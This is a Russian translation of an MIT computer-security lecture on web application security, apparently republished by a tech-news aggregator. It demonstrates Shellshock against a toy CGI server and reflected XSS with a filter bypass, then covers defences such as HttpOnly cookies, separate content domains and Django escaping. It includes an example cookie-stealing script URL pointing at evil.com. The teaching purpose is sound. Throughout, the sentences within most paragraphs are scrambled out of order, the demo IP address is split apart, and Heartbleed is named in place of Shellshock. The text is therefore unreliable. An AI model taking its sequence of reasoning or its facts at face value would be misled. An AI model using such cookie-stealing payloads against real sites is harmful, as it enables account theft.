Главная » Хабрахабр » [Перевод] Курс MIT «Безопасность компьютерных систем». Лекция 9: «Безопасность Web-приложений», часть 1

[Перевод] Курс MIT «Безопасность компьютерных систем». Лекция 9: «Безопасность Web-приложений», часть 1

Массачусетский Технологический институт. Курс лекций #6.858. «Безопасность компьютерных систем». Николай Зельдович, Джеймс Микенс. 2014 год

Computer Systems Security — это курс о разработке и внедрении защищенных компьютерных систем. Лекции охватывают модели угроз, атаки, которые ставят под угрозу безопасность, и методы обеспечения безопасности на основе последних научных работ. Темы включают в себя безопасность операционной системы (ОС), возможности, управление потоками информации, языковую безопасность, сетевые протоколы, аппаратную защиту и безопасность в веб-приложениях.

Лекция 1: «Вступление: модели угроз» Часть 1 / Часть 2 / Часть 3
Лекция 2: «Контроль хакерских атак» Часть 1 / Часть 2 / Часть 3
Лекция 3: «Переполнение буфера: эксплойты и защита» Часть 1 / Часть 2 / Часть 3
Лекция 4: «Разделение привилегий» Часть 1 / Часть 2 / Часть 3
Лекция 5: «Откуда берутся ошибки систем безопасности» Часть 1 / Часть 2
Лекция 6: «Возможности» Часть 1 / Часть 2 / Часть 3
Лекция 7: «Песочница Native Client» Часть 1 / Часть 2 / Часть 3
Лекция 8: «Модель сетевой безопасности» Часть 1 / Часть 2 / Часть 3
Лекция 9: «Безопасность Web-приложений» Часть 1 / Часть 2 / Часть 3

Я бы хотел сразу перейти к быстрой демонстрации примеров, так как вы знаете, что наши демо-ролики почти никогда не работают. Давайте начнем вторую лекцию нашей потрясающей серии рассказов о веб-безопасности. Надеюсь, что сегодня вы не увидите пустой экран.

Это была довольно популярная тема в литературе по компьютерной безопасности. Основная идея заключается в том, что я сначала бы хотел показать вам пример ошибки Shellshock, о которой, вы, возможно, уже слышали.

Они считают, что это самая опасная ошибка, от которой должна защищать система безопасности. Люди дают ошибке Heartbleed максимальную оценку по шкале опасности — 10 из 10. Я подумал, что будет отличной идеей показать вам живую историю этого вопроса, которую вы сможете пересказать своим родителям, чтобы они поняли, что обучение в Массачусетском технологическом институте стоит своих денег.

Это действительно отличный пример того, почему так трудно создать безопасные веб-приложения, которые охватывают несколько технологий, несколько языков, несколько ОС, так далее и так далее. Итак, какова основная идея ошибки Shellshock? На доске я записал очень простой пример.
Предположим, злоумышленник хочет отправить запрос GET некоторому интерфейсу CGI на тему поиска кошек, потому что это именно то, что люди всегда ищут в интернете (шутка). Поэтому основная идея заключается в том, что Shellshock использует то, что злоумышленник может создать специальный http-запрос к серверу и управлять заголовками в этом запросе. Поэтому здесь будет знак вопроса, и какой-то стандартный заголовок хоста с URL-адресом, например, example.com:

search = cats
Host: example.com
Custom – header: Custom — value GET /querry.cgi?

Например, я хочу найти какой-то специфичный для приложения заголовок под названием Custom-header указать там некоторое значение Custom — value, потому что веб-приложение может определить некоторые функциональные возможности, которые нельзя выразить с помощью простых предопределенных заголовков HTTP. Теперь обратите внимание, что злоумышленник может также указать пользовательские заголовки. То есть они будут использовать этот заголовок Custom-header для создания пользовательского заголовка имени переменной Bash, они возьмут это значение Custom — value, которое предоставил злоумышленник, и используют его как значение переменной Bash. Так что пока все это кажется довольно безобидным.
Но в конечном итоге происходит то, что многие из этих веб-серверов для обработки CGI скриптов будут фактически принимать эти пользовательские значения заголовка Custom — value и использовать их для установки переменных среды Bash. Как только эта переменная будет установлена, сервер CGI сделает некоторую обработку контекста этой среды.

Таким образом, в конкретном примере ошибки Shellshock происходит то, что если вы придадите переменной Bash некое злонамеренное значение, может начаться форменное безумие. И это плохо, потому что веб-серверы не должны принимать произвольные значения из этих случайных «грязных» вещей.

Но дело в том, что если бы параметр Bash был задан правильно, эта часть /bin/id не была бы выполнена. В принципе, это злонамеренное определение функции выбирается в языке сценариев Bash, и вас не должна беспокоить специфика этого процесса. Так что вы только что определили некую глупую функцию, которая ничего не делает и прекращает процесс выполнения запроса.

А потом он говорит: «о, я мог бы продолжить анализировать и выполнять здесь некоторые команды, не так ли?». Однако эта последовательность символов путает парсер Bash, он как бы спотыкается об эту ерунду, расположенную после слеша. Но суть уязвимости в том, что вместо bin/id здесь можно поместить абсолютно любой код! И в данном случае он просто выполняет команду bin/id, которая отображает некоторую информацию о пользователе.

Это очень простой сервер Python, самый простой, какой можно представить. Я приведу очень простой пример, который вы увидите на экране. Этот метод означает перебор всех HTTP заголовков в запросе. Я использую здесь метод GET.

В этом случае GET просто распечатывает заголовки, которые находит. Здесь в заголовке у нас имеется значение для переменной K и значение для запроса V.

Так что в этом заключается весь корень уязвимости. А затем он собирается сделать что — то очень глупое — выполнить системный вызов и установить значение оболочки непосредственно на значение, указанное в заголовке.

Если я перейду на следующую вкладку и запущу веб-сервер жертвы, то мы видим, что он готов принять запросы.

Затем я могу написать свой особый клиент Shellshock – он расположен на следующей вкладке.

А далее я просто знаю, что на стороне сервере всё теперь будет выполняться по моей воле. На самом деле это довольно просто — я просто определяю одну из этих вредоносных строк attack.str, поэтому у неё вначале расположены такие «кривые» величины.

Но здесь может быть что угодно. В данном случае я использовал нечто безобидное – echo «Я владею твоей машиной». Можно запустить ещё одну оболочку Bash с параметром «echo ATTACKER CMD», то есть реальную команду атакующего, что может быть очень опасно.

Так что в итоге происходит? Итак, я устанавливаю заголовки и запрос пользователя, а затем просто использую Python для создания HTTP соединения и просто посылаю его серверу. Я выполняю здесь свой клиент Shellshock.

Но если посмотреть сюда, на вторую вкладку, где у нас показан веб-сервер жертвы, согласившийся на соединение через порт 8282, то мы увидим, что он принял мои сообщения «Я владею твоей машиной» и ATTACKER CMD. Вы видите, что здесь появилась ошибка 404, потому что не имеет значения, какой файл я запросил, я просто вставляю сюда какой-то индекс, несуществующий HTML.

Это понятно? Потому что как только сервер жертвы получил этот заголовок, он тут же установил значения переменной Bash, и вследствие этого запустилась команда ATTACKER CMD.

Аудитория: так это происходит, если программа запускается с таким заголовком?

Таким образом, специфика того, как работает атака, зависит от того, как выглядит ваш веб-сервер, например, работаете ли вы с Apache или нет. Профессор: да. Но можно представить, что если бы вы создавали другие процессы для каждого входящего соединения, вы могли бы установить переменную среды напрямую. Этот пример немного надуманный, поскольку я на самом деле создал другую оболочку Bash, установил переменную оболочки и только после этого запустил процесс.

Потому что можно совершить системный вызов и выполнить команду, просто установив пользовательский заголовок на что-то другое, и мне не пришлось бы использовать ошибку Shellshock в данном примере. Аудитория: таким образом, если вернуться к коду веб-сервера, то покажется, что существует намного худшая уязвимость, чем Shellshock.

Но если бы здесь у нас был не Python, а Apache, то можно было бы непосредственно установить значение среды для какой-либо конкретной службы с помощью параметра set nth. Профессор: да, правильно, в этом конкретном веб-сервере, который я написал только для примера, есть вещь, которой ни за что нельзя доверять. Но существуют такие серверы, как этот, которые создают отдельный процесс и делают что-то, очень похожее на приведённый пример.

Ошибка Shellshock была своего рода примером, насколько важна дезинфекция контента. Еще один пример, который я хотел вам привести, это пример межсайтового скриптинга. Мы обсудили то, что вы не должны просто принимать входные данные от случайных людей и использовать их непосредственно в командах любого типа.

В этом примере у меня есть еще один простенький CGI сервер, написанный на Python. Межсайтовый скриптинг является ещё одним примером, показывающим, почему что-то может пойти не так.

Я напечатал здесь некоторые заголовки для ответа, и мой ответ будет текстовым HTML. Это дескриптор, который выполняется при поступлении запроса от клиента. Поэтому я сделал так, чтобы отключить некоторые из механизмов этой защиты, поместив эту строку заголовка в начале. Как выясняется, браузеры имеют некоторые механизмы безопасности, чтобы попытаться предотвратить атаку, которую я собираюсь вам показать.

FieldStorage (). Затем скрипт CGI получает доступ ко всем полям и запросам CGI, начиная со строки form=cgi. Представьте себе, что всё, что расположено в строке после этого вопросительного знака, представляет собой заголовок и параметры нашего примера:

search = cats
Host: example.com
Custom – header: Custom — value GET /querry.cgi?

Тут та же основная идея, и это плохая идея, потому что эта функция print печатает полученное значение непосредственно в сам HTML. Далее скрипт cgi делает совсем простую вещь — он сразу печатает значение чего-то, что пришло от атакующего.

Предположим, у меня есть куча запросов, которые я хочу запустить. Здесь может произойти следующее. В этом первом запросе я просто устанавливаю значение сообщения равным Hello, то есть перехожу по адресу первой строчки.

Так что никаких сюрпризов. Поэтому, если я перейду на свою страницу, то увижу на ней слово hello, потому что сервер принимает непосредственно то, что я ему передаю, и печатает «привет».

Так что это работает, я впечатываю величины прямо в страницу. Я понимаю, что действительно могу передать туда произвольный HTML код, и если я установлю формат заголовка h1, то есть перешлю на сервер вторую строчку, оканчивающуюся на hello , оно изменится и на странице – видите, стиль слова изменился на стиль заголовка h1.

Теперь давайте просто добавим код JavaScript, то есть запустим в браузере третью заготовленную мной строку, куда вставлен некий сценарий , который запускается после параметра alert («XSS»). Отлично, теперь мы в деле, и это круто.

Создаётся впечатление, что у нас ничего не получилось, потому что не видно никаких выходных данных, и я не заметил никаких предупреждений. Итак, теперь мы видим пустой экран.

Похоже, что сам браузер каким-то образом обнаружил что-то злое, хотя я пытался отключить XSS-фильтр. Но если я посмотрю на выходные данные веб-сервера, то увижу, что сам веб-сервер на самом деле не получил этот завершающий тег скрипта. Позже мы подробнее рассмотрим этот механизм защиты, а пока что я отмечу, что браузер пытается противостоять атаке межсайтового скриптинга. Так что это довольно интересно.

Я воспользуюсь этим и использую последнюю, четвёртую строку своей записи, разместив её в адресной строке браузера. Но ведь можно воспользоваться тем фактом, что HTML, CSS и JavaScript чрезвычайно сложные языки, и они написаны сложным для понимания способом. Она включает в себя URL картинки <IMG“””> и тег сценария ”> и на самом деле не может подвергнуться разбору. Это атакующая строка, содержащая неправильный URL. 0. Поэтому при получении такой строки браузер просто запутается и выдаст на экран информацию: «Страница по адресу 127. 1:8282 говорит: XSS». 0. Таким образом, встроенное обнаружение межсайтовых сценариев на самом деле не работает.

Но если посмотреть на её содержимое, мы увидим непонятные кавычки и скобки, которые взялись неизвестно откуда. Если мы щелкнем кнопку «OK», у нас появится просто пустая страница.

И он мог быть использован для того, чтобы украсть кукиз или сделать что-то подобное. Однако с точки зрения злоумышленника испорченная страница не имеет значения, потому что мы видели предупреждение, а это означает, что код был запущен.

Аудитория: а что такое межсайтовый аспект?

Это именно он создаёт предупреждение XSS или что-то в этом роде. Профессор: межсайтовый аспект заключается в том, что если злоумышленник может убедить пользователя перейти на URL-адрес, такой как в этом примере, то он и является тем лицом, которое определяет содержание сообщения. По сути, происходит то, что страница жертвы выполняет код от имени кого-то, кто не распоряжается этой страницей.

Так почему же межсайтовый скриптинг настолько распространен? Итак, я показал вам две быстрые демонстрации «грязного» мира, в котором мы обитаем. Причина в том, что веб-сайты становятся все более и более динамичными, и они хотят размещать множественный пользовательский контент или включать контент из других доменов. Почему эти проблемы так важны? Так или иначе, эти сайты должны выяснить, каковы правила комбинации таких вещей. Подумайте, например, о разделе комментариев к новостной статье, эти комментарии исходят от ненадежных людей — от пользователей.

Все эти документы исходят от ненадежных людей, но каким — то образом они должны уживаться друг с другом и с большой инфраструктурой Google или Microsoft. Веб-сайты могут содержать пользовательские документы, например документы Google или Office 365.

Один тип такой защиты представляет собой фильтры межсайтового скриптинга в самом браузере. Какие же типы межсайтовых сценариев защиты мы можем использовать? И мы увидели один из таких фильтров в действии – это был третий пример сценария, который мы рассмотрели.
Предположим, у вас есть URL-адрес foo.com/?q=<script src= “evil.com/cookie stealer.js”>. Эти фильтры будут пытаться обнаружить возможные атаки с использованием межсайтовых сценариев. То есть этот адрес запускает сценарий, который перенаправляет пользователя на вредоносный сайт и крадёт у него кукиз.

Причина проста – браузер просто проверил, нет ли встроенного тега <script> в этом адресе URL и обнаружив его, запретил переход по данной ссылке. Так вот, браузер откажется его выполнять и этот приём злоумышленника не сработает. Вы можете настроить параметры конфигурации браузера на включение и выключение подобных вещей. Таким образом, это очень простая эвристика для выяснения, не происходит ли чего-то вредоносного, потому что ни один нормальный разработчик не станет помещать в адрес такие вещи. Но обычно такая проверка в браузере включена по умолчанию. Иногда это полезно для тестирования, если вы просто хотите быстро и без особой проверки ввести некоторые данные JavaScript.

И если они там присутствуют, то браузер, возможно, попытается их полностью удалить или сделать источник внутри <> пустым. Например, Chrome и IE имеют встроенный фильтр, который смотрит на значение URL в адресной строке и ищет подобные вещи. И если вы посмотрите на сайт OWASP, то там собраны примеры использования такой эвристики для обнаружения межсайтовых сценариев и примеры того, как можно обойти этот фильтр. Существуют множество способов эвристического анализа, на основе которых браузеры должны определять такие вещи.

Тогда я заглянул в шпаргалку OWASP и нашёл там четвёртый вариант, который сработал, это был пример со сломанным разбором адреса изображения img. Вы знаете, это было очень смешно, потому что сначала в качестве примера для нашей лекции я сделал что-то подобное этому, и оно не сработало.

Так что встроенные решения не идеальны, они не перекрывают все уязвимости. Итак, основная проблема, не позволяющая просто полагаться на встроенные фильтры браузеров, заключается в том, что есть много разных способов заставить CSS и HTML-парсеры разобрать какое-то содержимое неверным способом.

Аудитория: но ведь проверять такие вещи не входит в обязанность браузера?

То есть встроенные фильтры имеют смысл, потому что внутри браузера может находиться множество парсеров, и эти фильтры применяются для защиты слоёв обработчиков внутри браузера. Профессор: я имею в виду случай, когда браузер находится на прокси-сервере, и прокси выполняет нечто, показанное в этом примере.

Аудитория: я думаю, можно сказать, что это обязанность веб-разработчика, а не пользователя – проверять подобные вещи.

Но на самом деле ОС и аппаратное обеспечение также играет важную роль, потому что иначе нельзя было бы доверять любым программам, сделанным случайными разработчиками. Профессор: в определенном смысле, мы могли бы сказать, что в Unix или Windows тоже имеются процессы, о корректности которых должен заботиться разработчик софта, а не пользователь, и разработчик должен делать так, чтобы эти штуки оставались изолированными. В действительности такие фреймворки, как Django или что-то подобное пытаются помочь вам обойти некоторые из этих проблем. Но в принципе вы правы.

Это вид некоего отражения, потому что код скрипта просто «живет» в URL. Так или иначе, фильтры не являются идеальным решением и не могут предотвратить то, что известно как устойчивые, или постоянные межсайтовые скриптовые атаки, persistent XSS. Как только пользователь закрыл этот URL, атака закончилась.

Если сервер признаёт этот комментарий валидным и примет его, тогда этот комментарий с вредоносной полезной нагрузкой навсегда там поселится. Но представьте себе, что некий пользователь поместил вредоносный HTML-код в раздел комментариев на вашем сайте. И когда любой пользователь будет заходить на страницу с этим комментарием, он будет подвергаться этому вредоносному контенту.

Некоторые сайты знакомств на самом деле позволяют пользователям размещать полноценный HTML-контент в своем профиле. Другой пример, одновременной смешной и грустный – это сайты знакомств.

Когда кто-то одинок, он стремиться найти родственную душу и заходит на ваш сайт. Так что это означает? Так что встроенные фильтры не защищают от подобных вещей. Он собирается запустить в контексте своей сессии HTML, который вы создали, и это может иметь очень разрушительные последствия.

Аудитория: таким образом, в разделе комментариев злоумышленник, вероятно, размещает сообщение, при котором информация поступает на сервер в переменной сообщения или что-то в этом роде?

Так можно представить, что это будет сообщение — post. Профессор: существует множество различных способов, как вы можете себе это представить. Другой способ, который можно представить, это динамический XML HTTP запрос.

Аудитория: но если это похоже на сообщение, почему его нельзя просто просканировать и сделать то же самое, что вы…

Но несомненно, что серверная часть приложения должна быть очень сильна в обороне и относится к подобному с большим недоверием. Профессор: да, в этом вы абсолютно правы, мы обсудим эти способы через секунду. То есть сервер может разглядеть что-то плохое, чего не заметил браузер.

Таким образом, мы в целом рассмотрели, что собой представляют встроенные фильтры межсайтового скриптинга в браузерах.

Основная идея заключается в том, что сервер может сказать браузеру, что клиентская сторона JavaScript не должна иметь доступа к определенным файлам cookie. Существует ещё одна защита от межсайтового скриптинга, известная как «только HTTP куки», или HTTP-only cookie. То есть только сервер может производить с кукиз какие-либо операции. Так что, в принципе, сервер может просто отправить значение заголовка в ответ поля кукиз, говоря: «эй, не позволяйте таким клиентам, как JavaScript, манипулировать с этим файлом cookie»!

Такой была подделка межсайтового запроса, которую мы рассматривали на прошлой лекции. Но это только частичная защита, потому что злоумышленник все еще может выдавать запросы, которые содержат кукиз пользователя. Злоумышленник может вставить сюда любую вещь, которую хочет купить, например, автомобиль Ferrari, а затем направит вас на свой сайт attacker, и покупка достанется злоумышленнику. Таким образом, даже если код JavaScript не может управлять файлами cookie, злоумышленник всё равно может что-то сделать, например, переконфигурировать URL-адрес на какой-то сайт электронной коммерции, скажем, buy.com.

Это то, от чего могут защитить CSRF токены, о чём мы поговорим чуть позже. И хотя такие клиенты, как JavaScript, не могут получить доступ к cookie, нет ничего, что помешает злоумышленнику просто создать такой URL-адрес.

Идея заключается в том, что вы хотите использовать отдельный домен для всего содержимого, которое не является доверенным. Ещё одна вещь, которую вы можете попытаться сделать, чтобы предотвратить эти атаки межсайтового скриптинга, это разделение привилегий. Фактически они используют отдельный домен для размещения пользовательского контента. Например, многие онлайн-серверы предлагали такие вещи, как электронная почта, наборы для улучшения производительности системы, документы Google, Office 365 и так далее. Здесь они сохраняют кешированные копии страниц, письма Gmail и тому подобное. Например, Google всё ещё использует такой подход и размещает весь пользовательский контент на специальном домене googleusercontent.com. По-моему, этот домен входит в число 25-ти самых посещаемых сайтов.

Существует надежда, что если есть некоторые типы уязвимостей межсайтового скриптинга или что-то вроде этого в пользовательском контенте, вредоносное содержимое будет локализовано в этой области и не сможет повлиять на весь google.com. В чем же преимущество такого размещения контента? Так что это своего рода частичное решение более обширной проблемы. Однако это не идеальная защита, потому что отправленное пользователем содержимое может включать в себя ссылки на вещи из google.com.

Идея в том, что вы можете быть браузером или веб-сервером, но получая ненадёжный контент, вы вообще ему не доверяете. Ещё одно, что можно здесь сделать – это провести дезинфекцию пользовательского контента. Пример тому — система шаблонов Django. Вы проходите через него и делаете так, что он становится нейтральным и никоим образом не может выполнить код или подорвать вашу систему иным способом. Это пример веб-фреймфорка, платформы, которая позволяет автоматизировать и обезопасить некоторые утомительные задачи разработки веб-сайта.

Поэтому один из способов сохранить этот согласованный внешний вид – это использовать шаблоны. Django облегчает доступ к базе данных, что помогает вам делать такие вещи, как управление сессиями и подержание единого стиля для всего вашего сайта. Например, вы можете автоматически размещать важные новости вверху страницы. При этом все ваши страницы автоматически начинаются с одного и того же CSS и тому подобное, то же самое касается стилей оформления страниц. В Django вы можете увидеть шаблон, который выглядит примерно так: тег жирного шрифта, приветствие и имя.

Эти страницы генерируются динамически, и когда пользователь переходит на сайт Django, сервер Django говорит: «ОК, это имя должно быть где-нибудь, возможно, в кукиз, или в строке CGI». Это похоже на переменную-заполнитель. Это что-то вроде простенького CGI0сервера, который я вам показал, так что этот шаблон просто отражает здесь пользовательский контент. Как как сервер Django динамически генерирует страницу для пользователя, он заменяет эту специальную ссылку значением переменной, так что все довольно просто.

Он просто сразу же размещает здесь значение переменной name, а кодирует его таким образом, что этот контент никогда не сможет выйти из контекста HTML и выполнить код JavaScript или что-то в этом роде. Однако Django поступает намного лучше – он производит дезинфекцию пользовательского контента, так как ожидает от него подвоха.

26:25 мин

Лекция 9: «Безопасность Web-приложений», часть 2 Курс MIT «Безопасность компьютерных систем».

Полная версия курса доступна здесь.

Вам нравятся наши статьи? Спасибо, что остаётесь с нами. Поддержите нас оформив заказ или порекомендовав знакомым, 30% скидка для пользователей Хабра на уникальный аналог entry-level серверов, который был придуман нами для Вас: Вся правда о VPS (KVM) E5-2650 v4 (6 Cores) 10GB DDR4 240GB SSD 1Gbps от $20 или как правильно делить сервер? Хотите видеть больше интересных материалов? (доступны варианты с RAID1 и RAID10, до 24 ядер и до 40GB DDR4).

VPS (KVM) E5-2650 v4 (6 Cores) 10GB DDR4 240GB SSD 1Gbps до декабря бесплатно при оплате на срок от полугода, заказать можно тут.

класса c применением серверов Dell R730xd Е5-2650 v4 стоимостью 9000 евро за копейки? Dell R730xd в 2 раза дешевле? Только у нас 2 х Intel Dodeca-Core Xeon E5-2650v4 128GB DDR4 6x480GB SSD 1Gbps 100 ТВ от $249 в Нидерландах и США! Читайте о том Как построить инфраструктуру корп.


Оставить комментарий

Ваш email нигде не будет показан
Обязательные для заполнения поля помечены *

*

x

Ещё Hi-Tech Интересное!

Не позволяйте 3D-принтеру лениться

Наверное, у каждого из нас есть гаджет или устройство, которые мы не используем: тренажёр, плеер, кухонный инвентарь, всякие странные штуки для автомобиля, шнуры, хабы и проч. Лежат они, новенькие, с гарантийниками и годами ждут своего часа, которому чаще всего уже ...

[Перевод] Знакомимся с альфа-версией снапшотов томов в Kubernetes

перев.: оригинальная статья была недавно опубликована в блоге Kubernetes и написана сотрудниками компаний Google и Huawei (Jing Xu, Xing Yang, Saad Ali), активную деятельность которых вы непременно видели в GitHub'е проекта, если когда-либо интересовались фичами и проблемами K8s, связанными с ...